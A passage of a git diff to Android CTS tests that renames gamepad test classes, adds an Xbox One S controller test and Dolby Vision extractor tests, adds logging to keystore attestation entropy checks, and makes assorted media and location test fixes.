diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/AsusGamepadTestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/AsusGamepadTest.java
similarity index 92%
rename from tests/tests/hardware/src/android/hardware/input/cts/tests/AsusGamepadTestCase.java
rename to tests/tests/hardware/src/android/hardware/input/cts/tests/AsusGamepadTest.java
index a4b8e919..943a9fa 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/AsusGamepadTestCase.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/AsusGamepadTest.java
@@ -26,8 +26,8 @@
@MediumTest
@RunWith(AndroidJUnit4.class)
-public class AsusGamepadTestCase extends InputTestCase {
- public AsusGamepadTestCase() {
+public class AsusGamepadTest extends InputTestCase {
+ public AsusGamepadTest() {
super(R.raw.asus_gamepad_register);
}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4TestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/MicrosoftXboxOneSTest.java
old mode 100644
new mode 100755
similarity index 70%
copy from tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4TestCase.java
copy to tests/tests/hardware/src/android/hardware/input/cts/tests/MicrosoftXboxOneSTest.java
index 909ef04..ae4a30d
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4TestCase.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/MicrosoftXboxOneSTest.java
@@ -1,44 +1,45 @@
-/*
- * Copyright 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.hardware.input.cts.tests;
-
-import android.hardware.cts.R;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-import androidx.test.filters.SmallTest;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@SmallTest
-@RunWith(AndroidJUnit4.class)
-public class SonyDualshock4TestCase extends InputTestCase {
-
- public SonyDualshock4TestCase() {
- super(R.raw.sony_dualshock4_register);
- }
-
- @Test
- public void testAllKeys() {
- testInputEvents(R.raw.sony_dualshock4_keyeventtests);
- }
-
- @Test
- public void testAllMotions() {
- testInputEvents(R.raw.sony_dualshock4_motioneventtests);
- }
-}
+/*
+ * Copyright 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.input.cts.tests;
+
+import android.hardware.cts.R;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class MicrosoftXboxOneSTest extends InputTestCase {
+
+ // Exercises the Bluetooth behavior of the Xbox One S controller
+ public MicrosoftXboxOneSTest() {
+ super(R.raw.microsoft_xboxones_register);
+ }
+
+ @Test
+ public void testAllKeys() {
+ testInputEvents(R.raw.microsoft_xboxones_keyeventtests);
+ }
+
+ @Test
+ public void testAllMotions() {
+ testInputEvents(R.raw.microsoft_xboxones_motioneventtests);
+ }
+}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4TestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4Test.java
similarity index 91%
rename from tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4TestCase.java
rename to tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4Test.java
index 909ef04..409c84fe 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4TestCase.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4Test.java
@@ -26,9 +26,9 @@
@SmallTest
@RunWith(AndroidJUnit4.class)
-public class SonyDualshock4TestCase extends InputTestCase {
+public class SonyDualshock4Test extends InputTestCase {
- public SonyDualshock4TestCase() {
+ public SonyDualshock4Test() {
super(R.raw.sony_dualshock4_register);
}
diff --git a/tests/tests/jni/AndroidTest.xml b/tests/tests/jni/AndroidTest.xml
index 1c2d529..620b8bf 100644
--- a/tests/tests/jni/AndroidTest.xml
+++ b/tests/tests/jni/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="art" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsJniTestCases.apk" />
diff --git a/tests/tests/keystore/AndroidTest.xml b/tests/tests/keystore/AndroidTest.xml
index 9daf85e..398273f 100644
--- a/tests/tests/keystore/AndroidTest.xml
+++ b/tests/tests/keystore/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="security" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsKeystoreTestCases.apk" />
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
index 7e8be97..0847800 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
@@ -64,6 +64,7 @@
import android.security.keystore.KeyProperties;
import android.test.AndroidTestCase;
import android.util.ArraySet;
+import android.util.Log;
import com.google.common.collect.ImmutableSet;
@@ -99,6 +100,8 @@
*/
public class KeyAttestationTest extends AndroidTestCase {
+ private static final String TAG = AndroidKeyStoreTest.class.getSimpleName();
+
private static final int ORIGINATION_TIME_OFFSET = 1000000;
private static final int CONSUMPTION_TIME_OFFSET = 2000000;
@@ -880,7 +883,8 @@
RootOfTrust rootOfTrust = attestation.getTeeEnforced().getRootOfTrust();
assertNotNull(rootOfTrust);
assertNotNull(rootOfTrust.getVerifiedBootKey());
- assertTrue(rootOfTrust.getVerifiedBootKey().length >= 32);
+ assertTrue("Verified boot key is only " + rootOfTrust.getVerifiedBootKey().length +
+ " bytes long", rootOfTrust.getVerifiedBootKey().length >= 32);
checkEntropy(rootOfTrust.getVerifiedBootKey());
if (requireLocked) {
assertTrue(rootOfTrust.isDeviceLocked());
@@ -889,8 +893,8 @@
}
private void checkEntropy(byte[] verifiedBootKey) {
- assertTrue(checkShannonEntropy(verifiedBootKey));
- assertTrue(checkTresBiEntropy(verifiedBootKey));
+ assertTrue("Failed Shannon entropy check", checkShannonEntropy(verifiedBootKey));
+ assertTrue("Failed BiEntropy check", checkTresBiEntropy(verifiedBootKey));
}
private boolean checkShannonEntropy(byte[] verifiedBootKey) {
@@ -900,8 +904,10 @@
private double calculateShannonEntropy(double probabilityOfSetBit) {
if (probabilityOfSetBit <= 0.001 || probabilityOfSetBit >= .999) return 0;
- return (-probabilityOfSetBit * logTwo(probabilityOfSetBit)) -
- ((1 - probabilityOfSetBit) * logTwo(1 - probabilityOfSetBit));
+ double entropy = (-probabilityOfSetBit * logTwo(probabilityOfSetBit)) -
+ ((1 - probabilityOfSetBit) * logTwo(1 - probabilityOfSetBit));
+ Log.i(TAG, "Shannon entropy of VB Key: " + entropy);
+ return entropy;
}
private boolean checkTresBiEntropy(byte[] verifiedBootKey) {
@@ -917,6 +923,7 @@
length -= 1;
}
double tresBiEntropy = (1 / weightingFactor) * weightedEntropy;
+ Log.i(TAG, "BiEntropy of VB Key: " + tresBiEntropy);
return tresBiEntropy > 0.9;
}
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyGeneratorTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyGeneratorTest.java
index 57b1585..8a238d0 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyGeneratorTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyGeneratorTest.java
@@ -372,9 +372,7 @@
continue;
}
}
- // Strongbox must not support keys larger than 512 bits
- // TODO: This test currently fails, will be fixed on resolution of b/113525261
- if (useStrongbox && i > 512) {
+ if (i > 512) {
try {
keyGenerator.init(spec, rng);
fail();
diff --git a/tests/tests/libcorefileio/AndroidTest.xml b/tests/tests/libcorefileio/AndroidTest.xml
index 87e31c1..f563afe 100644
--- a/tests/tests/libcorefileio/AndroidTest.xml
+++ b/tests/tests/libcorefileio/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="libcore" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsLibcoreFileIOTestCases.apk" />
diff --git a/tests/tests/location/src/android/location/cts/LocationManagerTest.java b/tests/tests/location/src/android/location/cts/LocationManagerTest.java
index a46b19c..89ee843 100644
--- a/tests/tests/location/src/android/location/cts/LocationManagerTest.java
+++ b/tests/tests/location/src/android/location/cts/LocationManagerTest.java
@@ -856,9 +856,21 @@
assertTrue(mManager.isProviderEnabled(TEST_MOCK_PROVIDER_NAME));
mManager.clearTestProviderEnabled(TEST_MOCK_PROVIDER_NAME);
+ //onSetEnabled in LMS is handle in thread, it's not synchronized ,
+ //need add delay here or will cause check failed
+ try {
+ Thread.sleep(100);
+ } catch (Exception e) {
+ Log.e(TAG, "fail in testIsProviderEnabled");
+ }
assertFalse(mManager.isProviderEnabled(TEST_MOCK_PROVIDER_NAME));
mManager.setTestProviderEnabled(TEST_MOCK_PROVIDER_NAME, true);
+ try {
+ Thread.sleep(100);
+ } catch (Exception e) {
+ Log.e(TAG, "fail in testIsProviderEnabled");
+ }
assertTrue(mManager.isProviderEnabled(TEST_MOCK_PROVIDER_NAME));
try {
diff --git a/tests/tests/location/src/android/location/cts/ScanningSettingsTest.java b/tests/tests/location/src/android/location/cts/ScanningSettingsTest.java
index ea81089..5da1f97 100644
--- a/tests/tests/location/src/android/location/cts/ScanningSettingsTest.java
+++ b/tests/tests/location/src/android/location/cts/ScanningSettingsTest.java
@@ -65,6 +65,10 @@
mDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
mPackageManager = mContext.getPackageManager();
+ if (isTv()) {
+ // TV does not support the setting options of WIFI scanning and Bluetooth scanning
+ return;
+ }
final Intent launcherIntent = new Intent(Intent.ACTION_MAIN);
launcherIntent.addCategory(Intent.CATEGORY_HOME);
mLauncherPackage = mPackageManager.resolveActivity(launcherIntent,
@@ -73,17 +77,28 @@
@CddTest(requirement = "7.4.2/C-2-1")
public void testWifiScanningSettings() throws PackageManager.NameNotFoundException {
+ if (isTv()) {
+ return;
+ }
launchScanningSettings();
toggleSettingAndVerify(WIFI_SCANNING_TITLE_RES, Settings.Global.WIFI_SCAN_ALWAYS_AVAILABLE);
}
@CddTest(requirement = "7.4.3/C-4-1")
public void testBleScanningSettings() throws PackageManager.NameNotFoundException {
+ if (isTv()) {
+ return;
+ }
launchScanningSettings();
toggleSettingAndVerify(BLUETOOTH_SCANNING_TITLE_RES,
Settings.Global.BLE_SCAN_ALWAYS_AVAILABLE);
}
+ private boolean isTv() {
+ return mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEVISION)
+ && mPackageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK);
+ }
+
private void launchScanningSettings() {
// Start from the home screen
mDevice.pressHome();
diff --git a/tests/tests/media/Android.bp b/tests/tests/media/Android.bp
index 99902c5..0d2f5b9 100644
--- a/tests/tests/media/Android.bp
+++ b/tests/tests/media/Android.bp
@@ -40,7 +40,6 @@
"truth-prebuilt",
"mockito-target-minus-junit4",
"androidx.heifwriter_heifwriter",
- "androidx.media2_media2",
],
jni_libs: [
"libaudio_jni",
diff --git a/tests/tests/media/res/raw/video_dovi_1920x1080_30fps_dvhe_04.mp4 b/tests/tests/media/res/raw/video_dovi_1920x1080_30fps_dvhe_04.mp4
new file mode 100644
index 0000000..58f0f5b
--- /dev/null
+++ b/tests/tests/media/res/raw/video_dovi_1920x1080_30fps_dvhe_04.mp4
Binary files differ
diff --git a/tests/tests/media/res/raw/video_dovi_1920x1080_60fps_dvav_09.mp4 b/tests/tests/media/res/raw/video_dovi_1920x1080_60fps_dvav_09.mp4
new file mode 100755
index 0000000..0c754d6
--- /dev/null
+++ b/tests/tests/media/res/raw/video_dovi_1920x1080_60fps_dvav_09.mp4
Binary files differ
diff --git a/tests/tests/media/res/raw/video_dovi_1920x1080_60fps_dvhe_05.mp4 b/tests/tests/media/res/raw/video_dovi_1920x1080_60fps_dvhe_05.mp4
new file mode 100644
index 0000000..894f308
--- /dev/null
+++ b/tests/tests/media/res/raw/video_dovi_1920x1080_60fps_dvhe_05.mp4
Binary files differ
diff --git a/tests/tests/media/res/raw/video_dovi_1920x1080_60fps_dvhe_08.mp4 b/tests/tests/media/res/raw/video_dovi_1920x1080_60fps_dvhe_08.mp4
new file mode 100755
index 0000000..9cc7925
--- /dev/null
+++ b/tests/tests/media/res/raw/video_dovi_1920x1080_60fps_dvhe_08.mp4
Binary files differ
diff --git a/tests/tests/media/src/android/media/cts/AudioManagerTest.java b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
index cd09f08..72e4372 100644
--- a/tests/tests/media/src/android/media/cts/AudioManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
@@ -1408,12 +1408,24 @@
assertFalse("Ringer stream should not be muted",
mAudioManager.isStreamMute(AudioManager.STREAM_RING));
+ // delete the channel that can bypass dnd
+ mNm.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID);
+ // delay for streams to get into correct mute states
+ Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
+
+ assertTrue("Music (media) stream should still be muted",
+ mAudioManager.isStreamMute(AudioManager.STREAM_MUSIC));
+ assertTrue("System stream should still be muted",
+ mAudioManager.isStreamMute(AudioManager.STREAM_SYSTEM));
+ assertTrue("Alarm stream should still be muted",
+ mAudioManager.isStreamMute(AudioManager.STREAM_ALARM));
+ assertTrue("Ringer stream should now be muted",
+ mAudioManager.isStreamMute(AudioManager.STREAM_RING));
} finally {
setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
mNm.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID);
Utils.toggleNotificationPolicyAccess(mContext.getPackageName(), getInstrumentation(),
false);
-
}
}
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackSurroundTest.java b/tests/tests/media/src/android/media/cts/AudioTrackSurroundTest.java
index 9de3bd2..df40b8d 100644
--- a/tests/tests/media/src/android/media/cts/AudioTrackSurroundTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackSurroundTest.java
@@ -225,8 +225,8 @@
// Only save timestamps after the data is flowing.
if (mPreviousTimestamp != null
&& timestamp.framePosition > 0
- && (timestamp.nanoTime != mPreviousTimestamp.nanoTime
- || timestamp.framePosition != mPreviousTimestamp.framePosition)) {
+ && timestamp.nanoTime != mPreviousTimestamp.nanoTime
+ && timestamp.framePosition != mPreviousTimestamp.framePosition) {
mTimestamps.add(timestamp);
}
mPreviousTimestamp = timestamp;
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackTest.java b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
old mode 100644
new mode 100755
index d52dc16..fa20770
--- a/tests/tests/media/src/android/media/cts/AudioTrackTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
@@ -1451,7 +1451,7 @@
// constant for test
final String TEST_NAME = "testGetMinBufferSizeTooHighSR";
// FIXME need an API to retrieve AudioTrack.SAMPLE_RATE_HZ_MAX
- final int TEST_SR = 192001;
+ final int TEST_SR = AudioFormat.SAMPLE_RATE_HZ_MAX + 1;
final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_MONO;
final int TEST_FORMAT = AudioFormat.ENCODING_PCM_8BIT;
diff --git a/tests/tests/media/src/android/media/cts/DecoderTest.java b/tests/tests/media/src/android/media/cts/DecoderTest.java
index 699df64..aba1d72 100644
--- a/tests/tests/media/src/android/media/cts/DecoderTest.java
+++ b/tests/tests/media/src/android/media/cts/DecoderTest.java
@@ -25,6 +25,7 @@
import android.graphics.ImageFormat;
import android.media.cts.CodecUtils;
import android.media.Image;
+import android.media.AudioFormat;
import android.media.AudioManager;
import android.media.MediaCodec;
import android.media.MediaCodec.BufferInfo;
@@ -38,6 +39,7 @@
import android.view.Surface;
import android.net.Uri;
+import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.DeviceReportLog;
import com.android.compatibility.common.util.DynamicConfigDeviceSide;
import com.android.compatibility.common.util.MediaUtils;
@@ -231,6 +233,88 @@
testTimeStampOrdering(R.raw.sinesweepopusmp4);
}
+ @CddTest(requirement="5.1.3")
+ public void testDecodeG711ChannelsAndRates() throws Exception {
+ String[] mimetypes = { MediaFormat.MIMETYPE_AUDIO_G711_ALAW,
+ MediaFormat.MIMETYPE_AUDIO_G711_MLAW };
+ int[] sampleRates = { 8000 };
+ int[] channelMasks = { AudioFormat.CHANNEL_OUT_MONO,
+ AudioFormat.CHANNEL_OUT_STEREO,
+ AudioFormat.CHANNEL_OUT_5POINT1 };
+
+ verifyChannelsAndRates(mimetypes, sampleRates, channelMasks);
+ }
+
+ @CddTest(requirement="5.1.3")
+ public void testDecodeOpusChannelsAndRates() throws Exception {
+ String[] mimetypes = { MediaFormat.MIMETYPE_AUDIO_OPUS };
+ int[] sampleRates = { 8000, 12000, 16000, 24000, 48000 };
+ int[] channelMasks = { AudioFormat.CHANNEL_OUT_MONO,
+ AudioFormat.CHANNEL_OUT_STEREO,
+ AudioFormat.CHANNEL_OUT_5POINT1 };
+
+ verifyChannelsAndRates(mimetypes, sampleRates, channelMasks);
+ }
+
+ private void verifyChannelsAndRates(String[] mimetypes, int[] sampleRates,
+ int[] channelMasks) throws Exception {
+
+ for (String mimetype : mimetypes) {
+ ArrayList<MediaCodecInfo> codecInfoList = getDecoderMediaCodecInfoList(mimetype);
+ if (codecInfoList == null) {
+ continue;
+ }
+ for (MediaCodecInfo codecInfo : codecInfoList) {
+ MediaCodec codec = MediaCodec.createByCodecName(codecInfo.getName());
+ for (int sampleRate : sampleRates) {
+ for (int channelMask : channelMasks) {
+ int channelCount = AudioFormat.channelCountFromOutChannelMask(channelMask);
+
+ codec.reset();
+ MediaFormat desiredFormat = MediaFormat.createAudioFormat(
+ mimetype,
+ sampleRate,
+ channelCount);
+ codec.configure(desiredFormat, null, null, 0);
+
+ Log.d(TAG, "codec: " + codecInfo.getName() +
+ " sample rate: " + sampleRate +
+ " channelcount:" + channelCount);
+
+ MediaFormat actual = codec.getInputFormat();
+ int actualChannels = actual.getInteger(MediaFormat.KEY_CHANNEL_COUNT, -1);
+ int actualSampleRate = actual.getInteger(MediaFormat.KEY_SAMPLE_RATE, -1);
+ assertTrue("channels: configured " + actualChannels +
+ " != desired " + channelCount, actualChannels == channelCount);
+ assertTrue("sample rate: configured " + actualSampleRate +
+ " != desired " + sampleRate, actualSampleRate == sampleRate);
+ }
+ }
+ codec.release();
+ }
+ }
+ }
+
+ private ArrayList<MediaCodecInfo> getDecoderMediaCodecInfoList(String mimeType) {
+ MediaCodecList mediaCodecList = new MediaCodecList(MediaCodecList.ALL_CODECS);
+ ArrayList<MediaCodecInfo> decoderInfos = new ArrayList<MediaCodecInfo>();
+ for (MediaCodecInfo codecInfo : mediaCodecList.getCodecInfos()) {
+ if (!codecInfo.isEncoder() && isMimeTypeSupported(codecInfo, mimeType)) {
+ decoderInfos.add(codecInfo);
+ }
+ }
+ return decoderInfos;
+ }
+
+ private boolean isMimeTypeSupported(MediaCodecInfo codecInfo, String mimeType) {
+ for (String type : codecInfo.getSupportedTypes()) {
+ if (type.equalsIgnoreCase(mimeType)) {
+ return true;
+ }
+ }
+ return false;
+ }
+
public void testDecode51M4a() throws Exception {
decodeToMemory(R.raw.sinesweep51m4a, RESET_MODE_NONE, CONFIG_MODE_NONE, -1, null);
}
diff --git a/tests/tests/media/src/android/media/cts/ExtractDecodeEditEncodeMuxTest.java b/tests/tests/media/src/android/media/cts/ExtractDecodeEditEncodeMuxTest.java
index 7ee1bb6..ac8b2c3 100644
--- a/tests/tests/media/src/android/media/cts/ExtractDecodeEditEncodeMuxTest.java
+++ b/tests/tests/media/src/android/media/cts/ExtractDecodeEditEncodeMuxTest.java
@@ -825,7 +825,7 @@
0,
size,
presentationTime,
- videoExtractor.getSampleFlags());
+ flags);
videoExtractedFrameCount++;
}
// We extracted a frame, let's try something else next.
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecListTest.java b/tests/tests/media/src/android/media/cts/MediaCodecListTest.java
index 90cd301..74b0452 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecListTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecListTest.java
@@ -319,6 +319,11 @@
&& !pm.hasSystemFeature(pm.FEATURE_AUTOMOTIVE);
}
+ private boolean isAutomotive() {
+ PackageManager pm = getContext().getPackageManager();
+ return pm.hasSystemFeature(pm.FEATURE_AUTOMOTIVE);
+ }
+
// Find whether the given codec can be found using MediaCodecList.find methods.
private boolean codecCanBeFound(boolean isEncoder, MediaFormat format) {
String codecName = isEncoder
@@ -410,7 +415,11 @@
list.add(new VideoCodec(MediaFormat.MIMETYPE_VIDEO_VP8, false)); // vp8 decoder
list.add(new VideoCodec(MediaFormat.MIMETYPE_VIDEO_VP8, true)); // vp8 encoder
list.add(new VideoCodec(MediaFormat.MIMETYPE_VIDEO_VP9, false)); // vp9 decoder
- list.add(new VideoCodec(MediaFormat.MIMETYPE_VIDEO_HEVC, false)); // hevc decoder
+
+ //According to CDD, hevc decoding is not mandatory for automotive devices
+ if (!isAutomotive()) {
+ list.add(new VideoCodec(MediaFormat.MIMETYPE_VIDEO_HEVC, false)); // hevc decoder
+ }
list.add(new VideoCodec(MediaFormat.MIMETYPE_VIDEO_MPEG4, false)); // m4v decoder
list.add(new VideoCodec(MediaFormat.MIMETYPE_VIDEO_H263, false)); // h263 decoder
if (hasCamera()) {
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecTest.java b/tests/tests/media/src/android/media/cts/MediaCodecTest.java
index 4fe4531..558cad9 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecTest.java
@@ -2043,6 +2043,7 @@
private int mBufOut = 0;
private int mBufCounter = 0;
+ private MediaExtractor mExtractor; // Read from Extractor instead of InputStream
// helper for bytewise read()
private byte[] mOneByte = new byte[1];
@@ -2085,6 +2086,12 @@
mBufferInputStream = input;
}
+ MediaCodecStream(MediaExtractor mediaExtractor,
+ MediaFormat format) throws Exception {
+ this(format, false /* encode */);
+ mExtractor = mediaExtractor;
+ }
+
@Override
public ByteBuffer read() throws IOException {
@@ -2104,8 +2111,19 @@
buf.clear();
int inBufLen = buf.limit();
int numRead = 0;
-
- if (mBufferInputStream != null) {
+ long timestampUs = 0; // non-zero for MediaExtractor mode
+ if (mExtractor != null) {
+ numRead = mExtractor.readSampleData(buf, 0 /* offset */);
+ timestampUs = mExtractor.getSampleTime();
+ Log.v(TAG, "MediaCodecStream.read using Extractor, numRead "
+ + numRead +" timestamp " + timestampUs);
+ mExtractor.advance();
+ if(numRead < 0) {
+ mSawInputEOS = true;
+ timestampUs = 0;
+ numRead =0;
+ }
+ } else if (mBufferInputStream != null) {
ByteBuffer in = null;
do {
in = mBufferInputStream.read();
@@ -2135,7 +2153,7 @@
}
int flags = mSawInputEOS ? MediaCodec.BUFFER_FLAG_END_OF_STREAM : 0;
- if (!mEncode && !mSentConfig) {
+ if (!mEncode && !mSentConfig && mExtractor == null) {
flags |= MediaCodec.BUFFER_FLAG_CODEC_CONFIG;
mSentConfig = true;
}
@@ -2145,7 +2163,7 @@
mCodec.queueInputBuffer(index,
0 /* offset */,
numRead,
- 0 /* presentationTimeUs */,
+ timestampUs /* presentationTimeUs */,
flags);
Log.i(TAG, "queued input buffer " + index + ", size " + numRead);
}
diff --git a/tests/tests/media/src/android/media/cts/MediaExtractorTest.java b/tests/tests/media/src/android/media/cts/MediaExtractorTest.java
index 0a6ab99f..78e22d5 100644
--- a/tests/tests/media/src/android/media/cts/MediaExtractorTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaExtractorTest.java
@@ -23,9 +23,11 @@
import android.icu.util.ULocale;
import android.media.AudioFormat;
import android.media.AudioPresentation;
+import android.media.MediaCodecInfo;
import android.media.MediaDataSource;
import android.media.MediaExtractor;
import android.media.MediaFormat;
+import static android.media.MediaFormat.MIMETYPE_VIDEO_DOLBY_VISION;
import android.media.cts.R;
import android.os.PersistableBundle;
import android.platform.test.annotations.AppModeFull;
@@ -35,6 +37,8 @@
import androidx.test.filters.SmallTest;
+import com.android.compatibility.common.util.MediaUtils;
+
import java.io.BufferedReader;
import java.io.Closeable;
import java.io.IOException;
@@ -130,6 +134,169 @@
afd.close();
}
+ // DolbyVisionMediaExtractor for profile-level (DvheDtr/Fhd30).
+ public void testDolbyVisionMediaExtractorProfileDvheDtr() throws Exception {
+ TestMediaDataSource dataSource = setDataSource(R.raw.video_dovi_1920x1080_30fps_dvhe_04);
+
+ assertTrue("There should be either 1 or 2 tracks",
+ 0 < mExtractor.getTrackCount() && 3 > mExtractor.getTrackCount());
+
+ MediaFormat trackFormat = mExtractor.getTrackFormat(0);
+ int trackCountForDolbyVision = 1;
+
+ // Handle the case where there is a Dolby Vision extractor
+ // Note that it may or may not have a Dolby Vision Decoder
+ if (mExtractor.getTrackCount() == 2) {
+ if (trackFormat.getString(MediaFormat.KEY_MIME)
+ .equalsIgnoreCase(MIMETYPE_VIDEO_DOLBY_VISION)) {
+ trackFormat = mExtractor.getTrackFormat(1);
+ trackCountForDolbyVision = 0;
+ }
+ }
+
+ if (MediaUtils.hasDecoder(MIMETYPE_VIDEO_DOLBY_VISION)) {
+ assertEquals("There must be 2 tracks", 2, mExtractor.getTrackCount());
+
+ MediaFormat trackFormatForDolbyVision =
+ mExtractor.getTrackFormat(trackCountForDolbyVision);
+
+ final String mimeType = trackFormatForDolbyVision.getString(MediaFormat.KEY_MIME);
+ assertEquals("video/dolby-vision", mimeType);
+
+ int profile = trackFormatForDolbyVision.getInteger(MediaFormat.KEY_PROFILE);
+ assertEquals(MediaCodecInfo.CodecProfileLevel.DolbyVisionProfileDvheDtr, profile);
+
+ int level = trackFormatForDolbyVision.getInteger(MediaFormat.KEY_LEVEL);
+ assertEquals(MediaCodecInfo.CodecProfileLevel.DolbyVisionLevelFhd30, level);
+
+ final int trackIdForDolbyVision =
+ trackFormatForDolbyVision.getInteger(MediaFormat.KEY_TRACK_ID);
+
+ final int trackIdForBackwardCompat = trackFormat.getInteger(MediaFormat.KEY_TRACK_ID);
+ assertEquals(trackIdForDolbyVision, trackIdForBackwardCompat);
+ }
+
+ // The backward-compatible track should have mime video/hevc
+ final String mimeType = trackFormat.getString(MediaFormat.KEY_MIME);
+ assertEquals("video/hevc", mimeType);
+ }
+
+ // DolbyVisionMediaExtractor for profile-level (DvheStn/Fhd60).
+ public void testDolbyVisionMediaExtractorProfileDvheStn() throws Exception {
+ TestMediaDataSource dataSource = setDataSource(R.raw.video_dovi_1920x1080_60fps_dvhe_05);
+
+ if (MediaUtils.hasDecoder(MIMETYPE_VIDEO_DOLBY_VISION)) {
+ // DvheStn exposes only a single non-backward compatible Dolby Vision HDR track.
+ assertEquals("There must be 1 track", 1, mExtractor.getTrackCount());
+ final MediaFormat trackFormat = mExtractor.getTrackFormat(0);
+
+ final String mimeType = trackFormat.getString(MediaFormat.KEY_MIME);
+ assertEquals("video/dolby-vision", mimeType);
+
+ final int profile = trackFormat.getInteger(MediaFormat.KEY_PROFILE);
+ assertEquals(MediaCodecInfo.CodecProfileLevel.DolbyVisionProfileDvheStn, profile);
+
+ final int level = trackFormat.getInteger(MediaFormat.KEY_LEVEL);
+ assertEquals(MediaCodecInfo.CodecProfileLevel.DolbyVisionLevelFhd60, level);
+ } else {
+ MediaUtils.skipTest("Device does not provide a Dolby Vision decoder");
+ }
+ }
+
+ // DolbyVisionMediaExtractor for profile-level (DvheSt/Fhd60).
+ public void testDolbyVisionMediaExtractorProfileDvheSt() throws Exception {
+ TestMediaDataSource dataSource = setDataSource(R.raw.video_dovi_1920x1080_60fps_dvhe_08);
+
+ assertTrue("There should be either 1 or 2 tracks",
+ 0 < mExtractor.getTrackCount() && 3 > mExtractor.getTrackCount());
+
+ MediaFormat trackFormat = mExtractor.getTrackFormat(0);
+ int trackCountForDolbyVision = 1;
+
+ // Handle the case where there is a Dolby Vision extractor
+ // Note that it may or may not have a Dolby Vision Decoder
+ if (mExtractor.getTrackCount() == 2) {
